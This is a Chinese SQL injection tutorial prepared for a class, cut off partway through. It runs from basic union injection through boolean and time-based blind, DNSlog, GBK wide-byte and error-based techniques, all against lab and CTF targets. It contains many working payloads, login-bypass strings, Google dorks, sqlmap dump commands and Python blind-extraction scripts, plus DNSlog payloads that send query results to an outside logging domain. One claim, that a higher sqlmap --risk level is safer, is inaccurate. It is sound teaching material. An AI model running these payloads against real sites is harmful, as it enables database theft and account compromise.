SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
入门篇
一、课程目标
听完这节课你能学到些什么👇
- 知道什么是Sql注入
- 实现最基础的Sql注入
- 学会使用SqlMap工具
- 了解一些Web安全基本知识
二、初识SQL注入
1 什么是SQL
SQL(Structured Query Language) 是用于访问和处理数据库
的标准的计算机语言,SQL与数据库程序协同工作,比如 SQL Server、MySQL、Oracle、SQLite、MongoDB、PostgreSQL、MS Access、DB2以及其他数据库系统。
SQL执行流程
2 什么是SQL注入
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而得到相应的数据信息。
通俗来说:OWASP Top10之一,SQL注入是通过将恶意的SQL语句
插入到Web应用的输入参数中,欺骗服务器
执行恶意的SQL命令的攻击。
SQL注入流程
3 SQL注入分类
根据SQL数据类型分类
- 整型注入
- 字符型注入
根据注入的语法分类
- 联合查询注入(Union query SQL injection)
- 报错型注入(Error-based SQL injection)
- 布尔型注入(Boolean-based blind SQL injection)
- 延时注入(Time-based blind SQL injection)
- 多语句查询注入 (Stacted queries SQL injection)
三、初试SQL注入
1 手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型 2.猜解 SQL 查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.显示字段信息
2 实现完整手工注入
靶机:DVWA
将DVWA的级别设置为low,可以看到源码中是一句简单的查询语句,没有进行任何过过滤
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
因此我们完全可以插入自己想要执行的sql语句,那么我们开始吧!
输入我们输入1,那么执行的语句就是
SELECT first_name, last_name FROM users WHERE user_id = '1'
1.判断注入是字符型还是数字型
字符型和数字型最大区别: 数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的
数字型:select * from table where id =$id
字符型:select * from table where id=’$id’
判断数字型
1 and 1=1 #永真式 select * from table where id=1 and 1=1
1 and 1=2 #永假式 select * from table where id=1 and 1=2
#if页面运行错误,则说明此Sql注入为数字型注入。
判断字符型
1' and '1'='1
1' and '1'='2
#if页面运行错误,则说明此 Sql 注入为字符型注入。
执行上面两种方式一种就可得出结论,显示这个是字符型注入
2.猜解SQL查询语句中的字段数
1' or 1=1 order by 1 # 查询成功 【order by x 对第几列进行排序】1' order by 1 # id=‘1‘ #’ 注释
1' or 1=1 order by 2 # 查询成功
1' or 1=1 order by 3 # 查询失败
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
3.确定显示的字段顺序
1' union select 1,2 #
说明执行的SQL语句为select First name,Surname from xx where ID=’id’
理解select 1,2:例如一个网站的参数传递执行的查询有3个字段,很可能这些字段不是都显示在网页前端的,假如其中的1或2个字段的查询结果是会返回到前端的,那么我们就需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与前端显示的通道。如果我们直接输入查询字段进行查询,语句会非常冗长,而且很可能还需要做很多次测试,这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在窗口显示我们想要的结果。SELECT 1,2,3…的含义及其在SQL注入中的用法
4.获取当前数据库
上步知道字段显示顺序,那我们在字段2的位置上显示数据库试试
1' union select 1,database() #
说明当前的数据库为dvwa。
5.获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:
- table_schema: 记录数据库名;
- table_name: 记录数据表名;
- engine : 存储引擎;
- table_rows: 关于表的粗略行估计;
- data_length : 记录表的大小(单位字节);
- index_length : 记录表的索引的大小;
- row_format: 可以查看数据表是否压缩过;
说明数据库dvwa中一共有两个表,guestbook与users。
6.获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.获取字段信息
1' union select group_concat(user_id,first_name),group_concat(password) from users #
1' union select group_concat(concat_ws(':',first_name,password)),2 from users #
1' union select first_name,password from users #
这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。
3 实战演练一哈
就以我自己搭建的靶机为例子🌰
在主页搜索框发现注入点,话不多说开始注入
#判断注入类型 #【数字型】
1 and 1=1
1 and 1=2
#查询数据库 #【test】
-1 union select 1,2,database()
#获取数据库中的表 #【admin、news】
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
#获取表中的字段名 #【 user_id、user_name、user_pass】
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin'
#获取字段信息 【admin:mysql】
-1 union select 1,group_concat(user_name),group_concat(user_pass) from admin
-1 union select 1,user_name,user_pass from admin
我们又快速的实现了一次手工注入,但是你有没和我一样的感觉,太麻烦了,有更方便的方法吗,emm…
当然有啦,使用SqlMap工具可以快速实现注入👇
四、使用SqlMap注入
具体使用方法请问我之前写的文章👉sqlmap使用方法
SqlMap初体验
接着使用上面靶机进行测试
#查询数据库 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#获取数据库中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#获取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#获取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump
一道CTF题目
题目:简单的sql注入2
地址:http://139.224.112.182:8087/ctf_collect
解析:https://www.jianshu.com/p/1aeedef99f21
1.查询当前数据库(空格被过滤可以使用tamper脚本中space2comment)
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
发现web1数据库 2.查询数据库中的表
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables
发现flag表 3.查询flag表中字段名
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1
发现flag字段 4.查询字段flag信息
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1
五、发现注入点
1 使用漏洞扫描工具
工具:OWASP ZAP、D盾、Seay
万能密码:
1' or 1=1 # 用户名和密码都可
' or '1'='1' --
1' or '1'='1 密码才可
2 通过Google Hacking 寻找SQL注入
看到这里我们已经完成了一次最基础的GET字符型Sql注入,有人可能会问了,这是自己搭建的靶机,知道是存在sql注入,真实环境中如何去发现Sql注入呢
inurl:php?id=
inurl:.asp?id=
inurl:index.php?id=
inurl:showproduct.asp?id=
site:http://139.224.112.182:8802/ inurl:php?id
site:https://jwt1399.top inurl:.html
......
服务器报错,并把错误信息返回到网页上面。根据错误信息,判断这里大概率存在注入点。
六、 修复建议
- 过滤用户输入的数据。默认情况下,应当认为用户的所有输入都是不安全的。
- 对于整数,判断变量是否符合[0-9]的值;其他限定值,也可以进行合法性校验;
- 对于字符串,对SQL语句特殊字符进行转义(单引号转成两个单引号,双引号转成两个双引号)。
- 绑定变量,使用预编译语句
进阶篇
一、SQL注入基础知识
不要急于进行SQL注入,请先看完这部分,很重要!,很重要!,很重要!
1.基本的SQL语句查询源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# LIMIT [偏移量],行数
通常情况下联合查询(union)时需要将前面的查询结果限定为空集,后面的查询结果才能显示出来。例如id值设为负数或0,因为带有LIMIT 0,1
则只能显示一条数据
?id=-1 union select 1,2,3
?id=0 union select 1,2,3
?id=-1' union select 1,2,group_concat(username,password) from users
2.MySQL数据库几种注释
注释符 | 描述 |
# | 单行注释 URL编码 %23,在URL框直接使用中#号必须用%23来表示,#在URL框中有特定含义,代表锚点 |
--空格 | 单行注释 ,实际使用中--空格用--+来表示。因为在URL框中,浏览器在发送请求的时候会把URL末尾的空格舍去,所以用--+代替--空格 |
/* */ | 块注释 |
/*! */ | 内联注释 |
3.数据库相关–Information_schema库
information_schema
,系统数据库,包含所有数据库相关信息。information_schema.schemata
中schema_name
列,字段为所有数据库名称。information_schema.tables
中table_name
列对应数据库所有表名information_schema.columns
中,column_name
列对应所有列名
4.连接字符串函数
concat(),concat_ws()与及group_concat()的用法
concat(str1,str2,…)
——没有分隔符地连接字符串concat_ws(separator,str1,str2,…)
——含有分隔符地连接字符串group_concat(str1,str2,…)
——连接一个组的所有字符串,并以逗号分隔每一条数据,知道这三个函数能一次性查出所有信息就行了。
6.MySQL常用的系统函数
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@basedir #数据库安装路径
@@datadir #数据库文件存放路径
@@version_compile_os #操作系统版本
7.MySQL函数
count(*):返回匹配指定条件的行数。
rand():返回0~1间的小数
floor():把小数向下取整
group by语句:把结果分组输出
二、盲注
SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
基础知识
手工盲注思路
手工盲注的过程,就像你与一个机器人聊天, 这个机器人知道的很多,但只会回答“是
”或者“不是
”, 因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?
” 通过这种机械的询问,最终获得你想要的数据。
手工盲注的步骤
1.判断是否存在注入,注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据
盲注常用函数
函数 | 描述 |
left(字符串,截取长度) | 从左边截取指定长度的字符串 |
length(字符串) | 获取字符串的长度 |
ascii(字符串) | 将指定字符串进行ascii编码 |
substr(字符串,start,截取长度) | 截取字符串,可以指定起始位置和长度 |
mid(字符串,start,截取长度) | 截取字符串,可以指定起始位置和长度 |
count() | 计算总数,返回匹配条件的行数。 |
sleep(n) | 将程序挂起n秒 |
if(参数1,参数2,参数3) | 参数1为条件,当参数1返回的结果为true时,执行参数2,否则执行参数3 |
布尔盲注
布尔注入利用情景
- 页面上没有显示位,并且没有输出SQL语句执行错误信息
- 只能通过页面返回正常与不正常判断
手工实现布尔盲注
靶机:sqli-labs第5关
1 .查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2
【字符型】
2.猜解数据库长度
使用length()判断数据库长度,二分法可提高效率
?id=1' and length(database())>5 --+
?id=1' and length(database())<10 --+
?id=1' and length(database())=8 --+
【length=8】
3.猜当前数据库名
方法1:使用substr函数
?id=1' and substr(database(),1,1)>'r'--+
?id=1' and substr(database(),1,1)<'t'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
...
?id=1' and substr(database(),8,1)='y'--+
【security】
方法2:使用ascii函数和substr函数
?id=1' and ascii(substr(database(),1,1))>114 --+
?id=1' and ascii(substr(database(),1,1))<116 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
【security】
方法3:使用left函数
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)<'t'--+
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2)='se' --+
?id=1' and left(database(),3)='sec' --+
...
?id=1' and left(database(),8)='security' --+
【security】
方法4:使用Burpsuite的Intruder模块
将获取数据库第一个字符的请求包拦截并发送到Intruder模块
设置攻击变量以及攻击类型
设置第一个攻击变量,这个变量是控制第几个字符的
设置第二个攻击变量,这个变量是数据库名字符
开始攻击,一小会就能得到测试结果,通过对长度和变量进行排序可以看到数据库名成功得到
4.判断表的个数
count()函数是用来统计表中记录的一个函数,返回匹配条件的行数。
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
【4个表】
5.判断表的长度
limit可以被用于强制select语句返回指定的条数。
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
【第一个表长度为6】
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
【第二个表长度为8】
6.猜解表名
方法1:使用substr函数
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
...
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+
【第一个表名为emails】
方法2:使用Burpsuite的Intruder模块
使用方法跟上方获得数据库名一样,就不赘述了
7.猜解字段名和字段信息
#确定字段个数
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
【字段个数为3】
#确定字段名的长度
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
【第一个字段长度为2,第二个字段长度为8】
#猜字段名 同上使用burp
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i' --+
【...id,username,password...】
#确定字段数据长度
?id=1' and length((select username from users limit 0,1))=4 --+
【第一个字段数据长度为4】
#猜解字段数据 同上使用burp
?id=1' and substr((select username from users limit 0,1),1,1)='d' --+
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79 --+
【第一个username数据为dumb】
SqlMap实现布尔盲注
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--technique:选择注入技术,B:Boolean-based-blind (布尔型盲注)
--threads 10 :设置线程为10,运行速度会更快
#查询数据库 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10
#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security --tables --batch --threads 10
#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10
#获取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
脚本实现布尔盲注
1.获取数据库名长度
# coding:utf-8
import requests
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-5/'''
payload = '''?id=1' and length(database())=%d''' %i
r = requests.get(url + payload + '%23') # %23 <==> --+
if 'You are in' in r.text:
print('database_length:', i)
break
else:
print(i)
database_len()
# 【database_length: 8】
2.获取数据库名
# coding:utf-8
import requests
#获取数据库名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr(database(),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
# 【database_name: security】
3.获取数据库中表
# coding:utf-8
import requests
# 获取数据库表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = '''?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s' --+''' % (j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('table_name:', name)
tables_name()
#【table_name: emails,referers,uagents,users】
4.获取表中字段
# coding:utf-8
import requests
# 获取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('column_name:', name)
columns_name()
#【column_name: id,username,password】
5.获取字段值
# coding:utf-8
import requests
# 获取字段值
def value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr((select group_concat(username,password) from users),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('value:', name)
value()
时间盲注
时间注入利用情景
- 页面上没有显示位
- 没有输出报错语句
- 正确的sql语句和错误的sql语句页面返回一致
手工实现时间盲注
靶机:sqli-labs第9关
?id=1
?id=1'
?id=1"
#不管怎么样都不报错,不管对错一直显示一个固定的页面;
#判断注入点
?id=1' and sleep(3)--+
#页面响应延迟,判断存在时间延迟型注入
#获取数据库名长度
?id=1' and if(length(database())=8,sleep(3),1)--+
#获取数据库名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+
结合Burpsuite的Intruder模块
爆破数据库名
将获取数据库第一个字符的请求包拦截并发送到Intruder模块
设置攻击变量以及攻击类型
设置第一个攻击变量,这个变量是控制第几个字符的
设置第二个攻击变量,这个变量是数据库名字符
开始攻击,一小会就能得到测试结果,通过对长度和变量进行排序可以看到数据库名成功得到
获取表名、字段名、字段信息等数据方法同上,就不赘述了
SQLmap实现时间盲注
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--technique:选择注入技术,-T:Time-based blind (基于时间延迟注入)
--threads 10 :设置线程为10,运行速度会更快。
#查询数据库 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10
#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security --tables --batch --threads 10
#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10
#获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10
脚本实现时间盲注
1.获取数据库名长度
# coding:utf-8
import requests
import datetime
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
print('database_len:', i)
break
else:
print(i)
database_len()
2.获取数据库名
# coding:utf-8
import requests
import datetime
#获取数据库名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+''' % (j,i)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
获取表名、字段名、字段信息等数据的脚本类似上面布尔盲注脚本,就不赘述了
三、DNSlog盲注
基础知识
什么是DNS
DNS的全称是 Domain Name System
(域名系统),它将域名解析为 IP,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com
,网络上的 DNS 服务器会将该域名解析,并找到对应的真实IP:182.61.200.6
,使用户可以访问这台服务器上相应的服务。
什么是DNSlog
DNSlog 就是存储在 DNS 服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。SQL 盲注、命令执行、SSRF 及 XSS 等攻击而无法看到回显结果时,就会用到 DNSlog 技术。
为什么用Dnslog盲注
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,最后导致 IP 被 ban,Dnslog 盲注可以减少发送的请求,直接回显数据实现注入。
原理
Mysql攻击语句:
select load_file(concat('\\\\',攻击语句,'.XXX.ceye.io\\abc'))
利用DNSlog的前提条件:
- 1.支持
load_file()
函数,通过执行show variables like '%secure%';
查看load_file()
是否可以读取文件。 - 当secure_file_priv为空,就可以读取磁盘的目录。
- 当secure_file_priv为G:\,就可以读取G盘的文件。
- 当secure_file_priv为null,load_file就不能加载文件。
- 通过设置my.ini来配置。secure_file_priv=””就是可以load_flie任意磁盘的文件。
- 2.DNSlog平台
- http://ceye.io
- http://www.dnslog.cn
- http://admin.dnslog.link
- https://github.com/bugscanteam/dnslog/
- Window平台,Linux平台不支持。这个技术本质是利用 UNC 发起的 DNS 查询,因为 Linux 没有 UNC 路径,所以当处于 Linux 系统时,不能使用该方式获取数据,而且 UNC 的路径不能超过 128,否则会失败。当我们在使用 UNC 路径时,是会对域名进行 DNS 查询。
UNC路径:
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
\\192.168.1.132\test\
这也就解释了为什么CONCAT()
函数拼接了4个\
了,因为转义的原因,4个\
就变成了2个\
,后面的\\abc
变成了\abc
,目的就是利用UNC路径。
因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。
原理图 | 原理图 |
如图所示,作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。
详细解释:
1、攻击者提交注入语句select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))
2、Web服务器将语句传递给数据库,在数据库中攻击语句被执行
3、concat
函数将执行结果与XXX.ceye.io\\abc
拼接,构成\\root.XXX.ceye.io\abc
,而 mysql
中的 select load_file()
可以发起 DNS 请求
4、那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析;
5、此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io
,这其实是一个开放的DNSlog平台,在上面我们可以获取到有关ceye.io
的DNS查询信息。
6、当它发现域名中存在ceye.io
时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
实例
DVWA-SQL盲注
查询数据库
1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\sql_test'))),1,0)#
查询表
1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\sql_test'))),1,0)#
查询列
1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 4,1),'.xxxx.ceye.io\\sql_test'))),1,0)#
查询值
1' and if((select load_file(concat('\\\\',(select password from users limit 0,1),'.xxxx.ceye.io\\sql_test'))),1,0)#
参考:
四、宽字节注入
原理
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字
【前一个ascii码要大于128
,才到汉字的范围】
在PHP配置文件中magic_quotes_gpc=On
或者使用addslashes
函数,icov
函数,mysql_real_escape_string
函数、mysql_escape_string
函数等,提交的参数中如果带有单引号'
,就会被自动转义\'
,这样就使得多数注入攻击无效。
当输入单引号,假设这里我们使用addslashes
转义,对应的url编码是: '
–>\'
–> %5c%27
当在前面引入一个ASCII大于128的字符【比如%df、%aa】,url编码变为: %df'
–> %df\'
–> (%df%5C)%27
–>(数据库GBK)
–>運'
%5c%27 | %df%5C%27 |
前端输入**%df'
时首先经过上面addslashes
函数和浏览器url编码
转义变成了%df%5c%27
**
因为数据库使用GBK
编码的话,**%df%5c会被当作一个汉字处理,转换成了汉字”運”**,从而使%27
(单引号)逃出生天,成功绕过,利用这个特性从而可实施SQL注入的利用。
实例
题目来源:CG-CTF—GBK Injection
手工注入
题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
?id=1
'''
your sql:select id,title from news where id = '1'
here is the information
'''
输入1'
可以看到'
被变成了\'
,应该是addslashes
之类的函数转义的结果。
?id=1'
'''
your sql:select id,title from news where id = '1\''
here is the information
'''
用上文宽字节构造方法,构造id=1%df’或者id=1%aa’,成功报错
?id=1%df'
或者【只要ASCII大于128的字符就可以】
?id=1%aa'
'''
your sql:select id,title from news where id = '1ß\''
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10
'''
确定字段数
?id=1%aa' order by 1 --+ 正常
?id=1%aa' order by 2 --+ 正常
?id=1%aa' order by 3 --+ 报错
'''
所以字段数为2
'''
确定显示位
前面必须为-1【前面查出来的值为null,才能显示后面我们想要的信息】,后面的信息才能显示出来
?id=-1%aa' union select 1,2 --+
'''
your sql:select id,title from news where id = '-1歿'union select 1,2 -- '
2
'''
确定了回显的位置是2
查询信息
#查询数据库
?id=-1%aa' union select 1,database() --+
'''
sae-chinalover
'''
#查询表名
?id=-1%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
'''
ctf,ctf2,ctf3,ctf4,news
'''
#查询字段名
?id=-1%aa' union select 1, group_concat(column_name) from information_schema.columns where table_name=0x63746634 --+
'''这里表名table_name的值必须转换成16进制,如果不用16进制就得用引号包裹,当有addlashes函数就会转义引号,就会导致查询失败,使用16进制避免了这个问题。
id,flag
'''
#查询字段信息
?id=-1%aa' union select 1,group_concat(id,0x3a,flag) from ctf4 --+
'''
1:flag{this_is_sqli_flag}
'''
?id=-1%aa' union select 1,group_concat(content) from ctf2 --+
'''
h4cked_By_w00dPeck3r,h4cked_By_w00dPeck3r,h4cked_By_w00dPeck3r,h4cked_By_w00dPeck3r,the flag is:nctf{query_in_mysql},h4cked_By_w00dPeck3r
'''
有2个flag,成功得到flag
使用sqlmap
方法一:普通方法,根据提示选择选项
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'"
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --dbs
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" -D sae-chinalover --tables
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" -D sae-chinalover -T --columns
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" -D sae-chinalover -T ctf4 -C flag --dump
方法二:使用脚本:unmagicquotes.py
【作用:宽字符绕过】
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --tamper unmagicquotes --dbs
'''
available databases [2]: [*] information_schema
[*] sae-chinalover
'''
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --tamper unmagicquotes -D sae-chinalover --tables
'''
Database: sae-chinalover
[6 tables]
+---------+
| ctf |
| ctf2 |
| ctf3 |
| ctf4 |
| gbksqli |
| news |
+---------+
'''
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D sae-chinalover -T ctf4 --columns
'''
Database: sae-chinalover
Table: ctf4
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(100) |
| id | int(10) |
+--------+--------------+
'''
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D sae-chinalover -T ctf4 -C flag --dump
'''
Database: sae-chinalover
Table: ctf4
[1 entry]
+-------------------------+
| flag |
+-------------------------+
| flag{this_is_sqli_flag} |
+-------------------------+
'''
方法三:直接查询flag字段
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --search -C flag
--level 3 --risk 1 --thread 10
'''
--threads 10 //如果你玩过 msfconsole的话会对这个很熟悉 sqlmap线程最高设置为10
--level 3 //sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高可到5
--risk 3 // 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
--search //后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D) 如果你脑子够聪明,应该知道库列表名中可能会有ctf,flag等字样
'''
五、报错注入
floor报错注入/双查询注入
双查询报错/floor报错注入是由于rand()
,count()
,group by
,floor
四个语句联合使用造成的,缺一不可。
一些研究人员发现,使用group by
子句结合rand()
函数以及像count(*)
这样的聚合函数,在SQL查询时会出现错误,这种错误是随机产生的,这就产生了双重查询/floor报错注入。使用floor()
函数只是为了将查询结果分类
需用到四个函数和一个group by
语句:
group by ...
—>分组语句 //将查询的结果分类汇总rand()
—>随机数生成函数floor()
—>取整函数 //用来对生成的随机数取整concat()
、concat_ws()
—>连接字符串count()
—>统计函数 //结合group by语句统计分组后的数据
还需要了解哈子查询
:
子查询又称为内部查询,子查询允许把一个查询嵌套在另一个查询当中,简单的来说就是一个select中又嵌套了一个select,嵌套的这个select语句就是一个子查询。
select concat("-",(select database()));
双查询/floor报错注入公式:
#获取数据库名
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+
